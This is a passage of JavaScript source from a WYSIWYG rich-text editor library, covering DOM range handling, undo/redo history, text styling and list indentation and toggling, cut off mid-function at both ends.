isAnchor: isAnchor, isDiv: makePredByNodeName('DIV'), isLi: isLi, isBR: makePredByNodeName('BR'), isSpan: makePredByNodeName('SPAN'), isB: makePredByNodeName('B'), isU: makePredByNodeName('U'), isS: makePredByNodeName('S'), isI: makePredByNodeName('I'), isImg: makePredByNodeName('IMG'), isTextarea: isTextarea, isEmpty: isEmpty$1, isEmptyAnchor: func.and(isAnchor, isEmpty$1), isClosestSibling: isClosestSibling, withClosestSiblings: withClosestSiblings, nodeLength: nodeLength, isLeftEdgePoint: isLeftEdgePoint, isRightEdgePoint: isRightEdgePoint, isEdgePoint: isEdgePoint, isLeftEdgeOf: isLeftEdgeOf, isRightEdgeOf: isRightEdgeOf, isLeftEdgePointOf: isLeftEdgePointOf, isRightEdgePointOf: isRightEdgePointOf, prevPoint: prevPoint, nextPoint: nextPoint, isSamePoint: isSamePoint, isVisiblePoint: isVisiblePoint, prevPointUntil: prevPointUntil, nextPointUntil: nextPointUntil, isCharPoint: isCharPoint, walkPoint: walkPoint, ancestor: ancestor, singleChildAncestor: singleChildAncestor, listAncestor: listAncestor, lastAncestor: lastAncestor, listNext: listNext, listPrev: listPrev, listDescendant: listDescendant, commonAncestor: commonAncestor, wrap: wrap, insertAfter: insertAfter, appendChildNodes: appendChildNodes, position: position, hasChildren: hasChildren, makeOffsetPath: makeOffsetPath, fromOffsetPath: fromOffsetPath, splitTree: splitTree, splitPoint: splitPoint, create: create, createText: createText, remove: remove, removeWhile: removeWhile, replace: replace, html: html, value: value, posFromPlaceholder: posFromPlaceholder, attachEvents: attachEvents, detachEvents: detachEvents, isCustomStyleTag: isCustomStyleTag }; /** * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js * * @param {TextRange} textRange * @param {Boolean} isStart * @return {BoundaryPoint} * * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx */ function textRangeToPoint(textRange, isStart) { var container = textRange.parentElement(); var offset; var tester = document.body.createTextRange(); var prevContainer; var childNodes = lists.from(container.childNodes); for (offset = 0; offset < childNodes.length; offset++) { if (dom.isText(childNodes[offset])) { continue; } tester.moveToElementText(childNodes[offset]); if (tester.compareEndPoints('StartToStart', textRange) >= 0) { break; } prevContainer = childNodes[offset]; } if (offset !== 0 && dom.isText(childNodes[offset - 1])) { var textRangeStart = document.body.createTextRange(); var curTextNode = null; textRangeStart.moveToElementText(prevContainer || container); textRangeStart.collapse(!prevContainer); curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild; var pointTester = textRange.duplicate(); pointTester.setEndPoint('StartToStart', textRangeStart); var textCount = pointTester.text.replace(/[\r\n]/g, '').length; while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } // [workaround] enforce IE to re-reference curTextNode, hack var dummy = curTextNode.nodeValue; // eslint-disable-line if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) && textCount === curTextNode.nodeValue.length) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } container = curTextNode; offset = textCount; } return { cont: container, offset: offset }; } /** * return TextRange from boundary point (inspired by google closure-library) * @param {BoundaryPoint} point * @return {TextRange} */ function pointToTextRange(point) { var textRangeInfo = function (container, offset) { var node, isCollapseToStart; if (dom.isText(container)) { var prevTextNodes = dom.listPrev(container, func.not(dom.isText)); var prevContainer = lists.last(prevTextNodes).previousSibling; node = prevContainer || container.parentNode; offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength); isCollapseToStart = !prevContainer; } else { node = container.childNodes[offset] || container; if (dom.isText(node)) { return textRangeInfo(node, 0); } offset = 0; isCollapseToStart = false; } return { node: node, collapseToStart: isCollapseToStart, offset: offset }; }; var textRange = document.body.createTextRange(); var info = textRangeInfo(point.node, point.offset); textRange.moveToElementText(info.node); textRange.collapse(info.collapseToStart); textRange.moveStart('character', info.offset); return textRange; } /** * Wrapped Range * * @constructor * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset */ var WrappedRange = /** @class */ (function () { function WrappedRange(sc, so, ec, eo) { this.sc = sc; this.so = so; this.ec = ec; this.eo = eo; // isOnEditable: judge whether range is on editable or not this.isOnEditable = this.makeIsOn(dom.isEditable); // isOnList: judge whether range is on list node or not this.isOnList = this.makeIsOn(dom.isList); // isOnAnchor: judge whether range is on anchor node or not this.isOnAnchor = this.makeIsOn(dom.isAnchor); // isOnCell: judge whether range is on cell node or not this.isOnCell = this.makeIsOn(dom.isCell); // isOnData: judge whether range is on data node or not this.isOnData = this.makeIsOn(dom.isData); } // nativeRange: get nativeRange from sc, so, ec, eo WrappedRange.prototype.nativeRange = function () { if (env.isW3CRangeSupport) { var w3cRange = document.createRange(); w3cRange.setStart(this.sc, this.so); w3cRange.setEnd(this.ec, this.eo); return w3cRange; } else { var textRange = pointToTextRange({ node: this.sc, offset: this.so }); textRange.setEndPoint('EndToEnd', pointToTextRange({ node: this.ec, offset: this.eo })); return textRange; } }; WrappedRange.prototype.getPoints = function () { return { sc: this.sc, so: this.so, ec: this.ec, eo: this.eo }; }; WrappedRange.prototype.getStartPoint = function () { return { node: this.sc, offset: this.so }; }; WrappedRange.prototype.getEndPoint = function () { return { node: this.ec, offset: this.eo }; }; /** * select update visible range */ WrappedRange.prototype.select = function () { var nativeRng = this.nativeRange(); if (env.isW3CRangeSupport) { var selection = document.getSelection(); if (selection.rangeCount > 0) { selection.removeAllRanges(); } selection.addRange(nativeRng); } else { nativeRng.select(); } return this; }; /** * Moves the scrollbar to start container(sc) of current range * * @return {WrappedRange} */ WrappedRange.prototype.scrollIntoView = function (container) { var height = $$1(container).height(); if (container.scrollTop + height < this.sc.offsetTop) { container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop); } return this; }; /** * @return {WrappedRange} */ WrappedRange.prototype.normalize = function () { /** * @param {BoundaryPoint} point * @param {Boolean} isLeftToRight * @return {BoundaryPoint} */ var getVisiblePoint = function (point, isLeftToRight) { if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) || (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) || (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) || (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) { return point; } // point on block's edge var block = dom.ancestor(point.node, dom.isBlock); if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) || ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) { // returns point already on visible point if (dom.isVisiblePoint(point)) { return point; } // reverse direction isLeftToRight = !isLeftToRight; } var nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint) : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint); return nextPoint || point; }; var endPoint = getVisiblePoint(this.getEndPoint(), false); var startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true); return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset); }; /** * returns matched nodes on range * * @param {Function} [pred] - predicate function * @param {Object} [options] * @param {Boolean} [options.includeAncestor] * @param {Boolean} [options.fullyContains] * @return {Node[]} */ WrappedRange.prototype.nodes = function (pred, options) { pred = pred || func.ok; var includeAncestor = options && options.includeAncestor; var fullyContains = options && options.fullyContains; // TODO compare points and sort var startPoint = this.getStartPoint(); var endPoint = this.getEndPoint(); var nodes = []; var leftEdgeNodes = []; dom.walkPoint(startPoint, endPoint, function (point) { if (dom.isEditable(point.node)) { return; } var node; if (fullyContains) { if (dom.isLeftEdgePoint(point)) { leftEdgeNodes.push(point.node); } if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) { node = point.node; } } else if (includeAncestor) { node = dom.ancestor(point.node, pred); } else { node = point.node; } if (node && pred(node)) { nodes.push(node); } }, true); return lists.unique(nodes); }; /** * returns commonAncestor of range * @return {Element} - commonAncestor */ WrappedRange.prototype.commonAncestor = function () { return dom.commonAncestor(this.sc, this.ec); }; /** * returns expanded range by pred * * @param {Function} pred - predicate function * @return {WrappedRange} */ WrappedRange.prototype.expand = function (pred) { var startAncestor = dom.ancestor(this.sc, pred); var endAncestor = dom.ancestor(this.ec, pred); if (!startAncestor && !endAncestor) { return new WrappedRange(this.sc, this.so, this.ec, this.eo); } var boundaryPoints = this.getPoints(); if (startAncestor) { boundaryPoints.sc = startAncestor; boundaryPoints.so = 0; } if (endAncestor) { boundaryPoints.ec = endAncestor; boundaryPoints.eo = dom.nodeLength(endAncestor); } return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo); }; /** * @param {Boolean} isCollapseToStart * @return {WrappedRange} */ WrappedRange.prototype.collapse = function (isCollapseToStart) { if (isCollapseToStart) { return new WrappedRange(this.sc, this.so, this.sc, this.so); } else { return new WrappedRange(this.ec, this.eo, this.ec, this.eo); } }; /** * splitText on range */ WrappedRange.prototype.splitText = function () { var isSameContainer = this.sc === this.ec; var boundaryPoints = this.getPoints(); if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) { this.ec.splitText(this.eo); } if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) { boundaryPoints.sc = this.sc.splitText(this.so); boundaryPoints.so = 0; if (isSameContainer) { boundaryPoints.ec = boundaryPoints.sc; boundaryPoints.eo = this.eo - this.so; } } return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo); }; /** * delete contents on range * @return {WrappedRange} */ WrappedRange.prototype.deleteContents = function () { if (this.isCollapsed()) { return this; } var rng = this.splitText(); var nodes = rng.nodes(null, { fullyContains: true }); // find new cursor point var point = dom.prevPointUntil(rng.getStartPoint(), function (point) { return !lists.contains(nodes, point.node); }); var emptyParents = []; $$1.each(nodes, function (idx, node) { // find empty parents var parent = node.parentNode; if (point.node !== parent && dom.nodeLength(parent) === 1) { emptyParents.push(parent); } dom.remove(node, false); }); // remove empty parents $$1.each(emptyParents, function (idx, node) { dom.remove(node, false); }); return new WrappedRange(point.node, point.offset, point.node, point.offset).normalize(); }; /** * makeIsOn: return isOn(pred) function */ WrappedRange.prototype.makeIsOn = function (pred) { return function () { var ancestor = dom.ancestor(this.sc, pred); return !!ancestor && (ancestor === dom.ancestor(this.ec, pred)); }; }; /** * @param {Function} pred * @return {Boolean} */ WrappedRange.prototype.isLeftEdgeOf = function (pred) { if (!dom.isLeftEdgePoint(this.getStartPoint())) { return false; } var node = dom.ancestor(this.sc, pred); return node && dom.isLeftEdgeOf(this.sc, node); }; /** * returns whether range was collapsed or not */ WrappedRange.prototype.isCollapsed = function () { return this.sc === this.ec && this.so === this.eo; }; /** * wrap inline nodes which children of body with paragraph * * @return {WrappedRange} */ WrappedRange.prototype.wrapBodyInlineWithPara = function () { if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) { this.sc.innerHTML = dom.emptyPara; return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0); } /** * [workaround] firefox often create range on not visible point. so normalize here. * - firefox: |<p>text</p>| * - chrome: <p>|text|</p> */ var rng = this.normalize(); if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) { return rng; } // find inline top ancestor var topAncestor; if (dom.isInline(rng.sc)) { var ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline)); topAncestor = lists.last(ancestors); if (!dom.isInline(topAncestor)) { topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so]; } } else { topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0]; } // siblings not in paragraph var inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse(); inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline)); // wrap with paragraph if (inlineSiblings.length) { var para = dom.wrap(lists.head(inlineSiblings), 'p'); dom.appendChildNodes(para, lists.tail(inlineSiblings)); } return this.normalize(); }; /** * insert node at current cursor * * @param {Node} node * @return {Node} */ WrappedRange.prototype.insertNode = function (node) { var rng = this.wrapBodyInlineWithPara().deleteContents(); var info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node)); if (info.rightNode) { info.rightNode.parentNode.insertBefore(node, info.rightNode); } else { info.container.appendChild(node); } return node; }; /** * insert html at current cursor */ WrappedRange.prototype.pasteHTML = function (markup) { var contentsContainer = $$1('<div></div>').html(markup)[0]; var childNodes = lists.from(contentsContainer.childNodes); var rng = this.wrapBodyInlineWithPara().deleteContents(); return childNodes.reverse().map(function (childNode) { return rng.insertNode(childNode); }).reverse(); }; /** * returns text in range * * @return {String} */ WrappedRange.prototype.toString = function () { var nativeRng = this.nativeRange(); return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text; }; /** * returns range for word before cursor * * @param {Boolean} [findAfter] - find after cursor, default: false * @return {WrappedRange} */ WrappedRange.prototype.getWordRange = function (findAfter) { var endPoint = this.getEndPoint(); if (!dom.isCharPoint(endPoint)) { return this; } var startPoint = dom.prevPointUntil(endPoint, function (point) { return !dom.isCharPoint(point); }); if (findAfter) { endPoint = dom.nextPointUntil(endPoint, function (point) { return !dom.isCharPoint(point); }); } return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset); }; /** * create offsetPath bookmark * * @param {Node} editable */ WrappedRange.prototype.bookmark = function (editable) { return { s: { path: dom.makeOffsetPath(editable, this.sc), offset: this.so }, e: { path: dom.makeOffsetPath(editable, this.ec), offset: this.eo } }; }; /** * create offsetPath bookmark base on paragraph * * @param {Node[]} paras */ WrappedRange.prototype.paraBookmark = function (paras) { return { s: { path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)), offset: this.so }, e: { path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)), offset: this.eo } }; }; /** * getClientRects * @return {Rect[]} */ WrappedRange.prototype.getClientRects = function () { var nativeRng = this.nativeRange(); return nativeRng.getClientRects(); }; return WrappedRange; }()); /** * Data structure * * BoundaryPoint: a point of dom tree * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range * * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position */ var range = { /** * create Range Object From arguments or Browser Selection * * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset * @return {WrappedRange} */ create: function (sc, so, ec, eo) { if (arguments.length === 4) { return new WrappedRange(sc, so, ec, eo); } else if (arguments.length === 2) { ec = sc; eo = so; return new WrappedRange(sc, so, ec, eo); } else { var wrappedRange = this.createFromSelection(); if (!wrappedRange && arguments.length === 1) { wrappedRange = this.createFromNode(arguments[0]); return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML); } return wrappedRange; } }, createFromSelection: function () { var sc, so, ec, eo; if (env.isW3CRangeSupport) { var selection = document.getSelection(); if (!selection || selection.rangeCount === 0) { return null; } else if (dom.isBody(selection.anchorNode)) { // Firefox: returns entire body as range on initialization. // We won't never need it. return null; } var nativeRng = selection.getRangeAt(0); sc = nativeRng.startContainer; so = nativeRng.startOffset; ec = nativeRng.endContainer; eo = nativeRng.endOffset; } else { var textRange = document.selection.createRange(); var textRangeEnd = textRange.duplicate(); textRangeEnd.collapse(false); var textRangeStart = textRange; textRangeStart.collapse(true); var startPoint = textRangeToPoint(textRangeStart, true); var endPoint = textRangeToPoint(textRangeEnd, false); // same visible point case: range was collapsed. if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) && dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) && endPoint.node.nextSibling === startPoint.node) { startPoint = endPoint; } sc = startPoint.cont; so = startPoint.offset; ec = endPoint.cont; eo = endPoint.offset; } return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from node * * @param {Node} node * @return {WrappedRange} */ createFromNode: function (node) { var sc = node; var so = 0; var ec = node; var eo = dom.nodeLength(ec); // browsers can't target a picture or void node if (dom.isVoid(sc)) { so = dom.listPrev(sc).length - 1; sc = sc.parentNode; } if (dom.isBR(ec)) { eo = dom.listPrev(ec).length - 1; ec = ec.parentNode; } else if (dom.isVoid(ec)) { eo = dom.listPrev(ec).length; ec = ec.parentNode; } return this.create(sc, so, ec, eo); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeBefore: function (node) { return this.createFromNode(node).collapse(true); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeAfter: function (node) { return this.createFromNode(node).collapse(); }, /** * @method * * create WrappedRange from bookmark * * @param {Node} editable * @param {Object} bookmark * @return {WrappedRange} */ createFromBookmark: function (editable, bookmark) { var sc = dom.fromOffsetPath(editable, bookmark.s.path); var so = bookmark.s.offset; var ec = dom.fromOffsetPath(editable, bookmark.e.path); var eo = bookmark.e.offset; return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from paraBookmark * * @param {Object} bookmark * @param {Node[]} paras * @return {WrappedRange} */ createFromParaBookmark: function (bookmark, paras) { var so = bookmark.s.offset; var eo = bookmark.e.offset; var sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path); var ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path); return new WrappedRange(sc, so, ec, eo); } }; /** * @method readFileAsDataURL * * read contents of file as representing URL * * @param {File} file * @return {Promise} - then: dataUrl */ function readFileAsDataURL(file) { return $$1.Deferred(function (deferred) { $$1.extend(new FileReader(), { onload: function (e) { var dataURL = e.target.result; deferred.resolve(dataURL); }, onerror: function (err) { deferred.reject(err); } }).readAsDataURL(file); }).promise(); } /** * @method createImage * * create `<image>` from url string * * @param {String} url * @return {Promise} - then: $image */ function createImage(url) { return $$1.Deferred(function (deferred) { var $img = $$1('<img>'); $img.one('load', function () { $img.off('error abort'); deferred.resolve($img); }).one('error abort', function () { $img.off('load').detach(); deferred.reject($img); }).css({ display: 'none' }).appendTo(document.body).attr('src', url); }).promise(); } var History = /** @class */ (function () { function History($editable) { this.stack = []; this.stackOffset = -1; this.$editable = $editable; this.editable = $editable[0]; } History.prototype.makeSnapshot = function () { var rng = range.create(this.editable); var emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } }; return { contents: this.$editable.html(), bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark) }; }; History.prototype.applySnapshot = function (snapshot) { if (snapshot.contents !== null) { this.$editable.html(snapshot.contents); } if (snapshot.bookmark !== null) { range.createFromBookmark(this.editable, snapshot.bookmark).select(); } }; /** * @method rewind * Rewinds the history stack back to the first snapshot taken. * Leaves the stack intact, so that "Redo" can still be used. */ History.prototype.rewind = function () { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } // Return to the first available snapshot. this.stackOffset = 0; // Apply that snapshot. this.applySnapshot(this.stack[this.stackOffset]); }; /** * @method reset * Resets the history stack completely; reverting to an empty editor. */ History.prototype.reset = function () { // Clear the stack. this.stack = []; // Restore stackOffset to its original value. this.stackOffset = -1; // Clear the editable area. this.$editable.html(''); // Record our first snapshot (of nothing). this.recordUndo(); }; /** * undo */ History.prototype.undo = function () { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } if (this.stackOffset > 0) { this.stackOffset--; this.applySnapshot(this.stack[this.stackOffset]); } }; /** * redo */ History.prototype.redo = function () { if (this.stack.length - 1 > this.stackOffset) { this.stackOffset++; this.applySnapshot(this.stack[this.stackOffset]); } }; /** * recorded undo */ History.prototype.recordUndo = function () { this.stackOffset++; // Wash out stack after stackOffset if (this.stack.length > this.stackOffset) { this.stack = this.stack.slice(0, this.stackOffset); } // Create new snapshot and push it to the end this.stack.push(this.makeSnapshot()); }; return History; }()); var Style = /** @class */ (function () { function Style() { } /** * @method jQueryCSS * * [workaround] for old jQuery * passing an array of style properties to .css() * will result in an object of property-value pairs. * (compability with version < 1.9) * * @private * @param {jQuery} $obj * @param {Array} propertyNames - An array of one or more CSS properties. * @return {Object} */ Style.prototype.jQueryCSS = function ($obj, propertyNames) { if (env.jqueryVersion < 1.9) { var result_1 = {}; $$1.each(propertyNames, function (idx, propertyName) { result_1[propertyName] = $obj.css(propertyName); }); return result_1; } return $obj.css(propertyNames); }; /** * returns style object from node * * @param {jQuery} $node * @return {Object} */ Style.prototype.fromNode = function ($node) { var properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height']; var styleInfo = this.jQueryCSS($node, properties) || {}; styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10); return styleInfo; }; /** * paragraph level style * * @param {WrappedRange} rng * @param {Object} styleInfo */ Style.prototype.stylePara = function (rng, styleInfo) { $$1.each(rng.nodes(dom.isPara, { includeAncestor: true }), function (idx, para) { $$1(para).css(styleInfo); }); }; /** * insert and returns styleNodes on range. * * @param {WrappedRange} rng * @param {Object} [options] - options for styleNodes * @param {String} [options.nodeName] - default: `SPAN` * @param {Boolean} [options.expandClosestSibling] - default: `false` * @param {Boolean} [options.onlyPartialContains] - default: `false` * @return {Node[]} */ Style.prototype.styleNodes = function (rng, options) { rng = rng.splitText(); var nodeName = (options && options.nodeName) || 'SPAN'; var expandClosestSibling = !!(options && options.expandClosestSibling); var onlyPartialContains = !!(options && options.onlyPartialContains); if (rng.isCollapsed()) { return [rng.insertNode(dom.create(nodeName))]; } var pred = dom.makePredByNodeName(nodeName); var nodes = rng.nodes(dom.isText, { fullyContains: true }).map(function (text) { return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName); }); if (expandClosestSibling) { if (onlyPartialContains) { var nodesInRange_1 = rng.nodes(); // compose with partial contains predication pred = func.and(pred, function (node) { return lists.contains(nodesInRange_1, node); }); } return nodes.map(function (node) { var siblings = dom.withClosestSiblings(node, pred); var head = lists.head(siblings); var tails = lists.tail(siblings); $$1.each(tails, function (idx, elem) { dom.appendChildNodes(head, elem.childNodes); dom.remove(elem); }); return lists.head(siblings); }); } else { return nodes; } }; /** * get current style on cursor * * @param {WrappedRange} rng * @return {Object} - object contains style properties. */ Style.prototype.current = function (rng) { var $cont = $$1(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc); var styleInfo = this.fromNode($cont); // document.queryCommandState for toggle state // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)" try { styleInfo = $$1.extend(styleInfo, { 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal', 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal', 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal', 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal', 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal', 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal', 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family'] }); } catch (e) { } // list-style-type to list-style(unordered, ordered) if (!rng.isOnList()) { styleInfo['list-style'] = 'none'; } else { var orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square']; var isUnordered = $$1.inArray(styleInfo['list-style-type'], orderedTypes) > -1; styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered'; } var para = dom.ancestor(rng.sc, dom.isPara); if (para && para.style['line-height']) { styleInfo['line-height'] = para.style.lineHeight; } else { var lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10); styleInfo['line-height'] = lineHeight.toFixed(1); } styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor); styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable); styleInfo.range = rng; return styleInfo; }; return Style; }()); var Bullet = /** @class */ (function () { function Bullet() { } /** * toggle ordered list */ Bullet.prototype.insertOrderedList = function (editable) { this.toggleList('OL', editable); }; /** * toggle unordered list */ Bullet.prototype.insertUnorderedList = function (editable) { this.toggleList('UL', editable); }; /** * indent */ Bullet.prototype.indent = function (editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); if (dom.isLi(head)) { _this.wrapList(paras, head.parentNode.nodeName); } else { $$1.each(paras, function (idx, para) { $$1(para).css('marginLeft', function (idx, val) { return (parseInt(val, 10) || 0) + 25; }); }); } }); rng.select(); }; /** * outdent */ Bullet.prototype.outdent = function (editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); if (dom.isLi(head)) { _this.releaseList([paras]); } else { $$1.each(paras, function (idx, para) { $$1(para).css('marginLeft', function (idx, val) { val = (parseInt(val, 10) || 0); return val > 25 ? val - 25 : ''; }); }); } }); rng.select(); }; /** * toggle list * * @param {String} listName - OL or UL */ Bullet.prototype.toggleList = function (listName, editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var bookmark = rng.paraBookmark(paras); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); // paragraph to list if (lists.find(paras, dom.isPurePara)) { var wrappedParas_1 = []; $$1.each(clustereds, function (idx, paras) { wrappedParas_1 = wrappedParas_1.concat(_this.wrapList(paras, listName)); }); paras = wrappedParas_1; // list to paragraph or change list style } else { var diffLists = rng.nodes(dom.isList, { includeAncestor: true }).filter(function (listNode) { return !$$1.nodeName(listNode, listName); }); if (diffLists.length) { $$1.each(diffLists, function (idx, listNode) { dom.replace(listNode, listName); }); } else { paras = this.releaseList(clustereds, true); } } range.createFromParaBookmark(bookmark, paras).select(); }; /** * @param {Node[]} paras * @param {String} listName * @return {Node[]} */ Bullet.prototype.wrapList = function (paras, listName) { var head = lists.head(paras); var last = lists.last(paras); var prevList = dom.isList(head.previousSibling) && head.previousSibling; var nextList = dom.isList(last.nextSibling) && last.nextSibling; var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last); // P to LI paras = paras.map(function (para) { return dom.isPurePara(para) ? dom.replace(para, 'LI') : para; }); // append to list(<ul>, <ol>) dom.appendChildNodes(listNode, paras); if (nextList) { dom.appendChildNodes(listNode, lists.from(nextList.childNodes)); dom.remove(nextList); } return paras; }; /** * @method releaseList * * @param {Array[]} clustereds * @param {Boolean} isEscapseToBody * @return {Node[]} */ Bullet.prototype.releaseList = function (clustereds, isEscapseToBody) { var releasedParas = []; $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); var last = lists.last(paras); var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode; var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, { node: last.parentNode, offset: dom.position(last) + 1 }, { isSkipPaddingBlankHTML: true }) : null; var middleList = dom.splitTree(headList, { node: head.parentNode, offset: dom.position(head) }, { isSkipPaddingBlankHTML: true }); paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi) : lists.from(middleList.childNodes).filter(dom.isLi); // LI to P if (isEscapseToBody || !dom.isList(headList.parentNode)) { paras = paras.map(function (para) { return dom.replace(para, 'P'); }); } $$1.each(lists.from(paras).reverse(), function (idx, para) { dom.insertAfter(para, headList); }); // remove empty lists var rootLists = lists.compact([headList, middleList, lastList]); $$1.each(rootLists, function (idx, rootList) { var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList)); $$1.each(listNodes.reverse(), function (idx, listNode) { if (!dom.nodeLength(listNode)) { dom.remove(listNode, true); } }); }); releasedParas = releasedParas.concat(paras); }); return releasedParas; }; return Bullet; }()); /** * @class editing.Typing * * Typing * */ var Typing = /** @class */ (function () { function Typing() { // a Bullet instance to toggle lists off this.bullet = new Bullet(); } /** * insert tab * * @param {WrappedRange} rng * @param {Number} tabsize */ Typing.prototype.insertTab = function (rng, tabsize) { var tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR)); rng = rng.deleteContents(); rng.insertNode(tab, true); rng = range.create(tab, tabsize); rng.select(); }; /** * insert paragraph */ Typing.prototype.insertParagraph = function (editable) { var rng = range.create(editable); // deleteContents on range. rng = rng.deleteContents(); // Wrap range if it needs to be wrapped by paragraph rng = rng.wrapBodyInlineWithPara(); // finding paragraph var splitRoot = dom.ancestor(rng.sc, dom.isPara); var nextPara; // on paragraph: split paragraph if (splitRoot) { // if it is an empty line with li if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) { // toogle UL/OL and escape this.bullet.toggleList(splitRoot.parentNode.nodeName); return; // if it is an empty line with para on blockquote } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) { // escape blockquote dom.insertAfter(splitRoot, splitRoot.parentNode); nextPara = splitRoot; // if new line has content (not a line break) } else { nextPara = dom.splitTree(splitRoot, rng.getStartPoint()); var emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor); emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor)); $$1.each(emptyAnchors, function (idx, anchor) { dom.remove(anchor); }); // replace empty heading, pre or custom-made styleTag with P tag if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) { nextPara = dom.replace(nextPara, 'p'); } } // no paragraph: insert empty paragraph } else { var next = rng.sc.childNodes[rng.so]; nextPara = $$1(dom.emptyPara)[0]; if (next) { rng.sc.insertBefore(nextPara, next); } else { 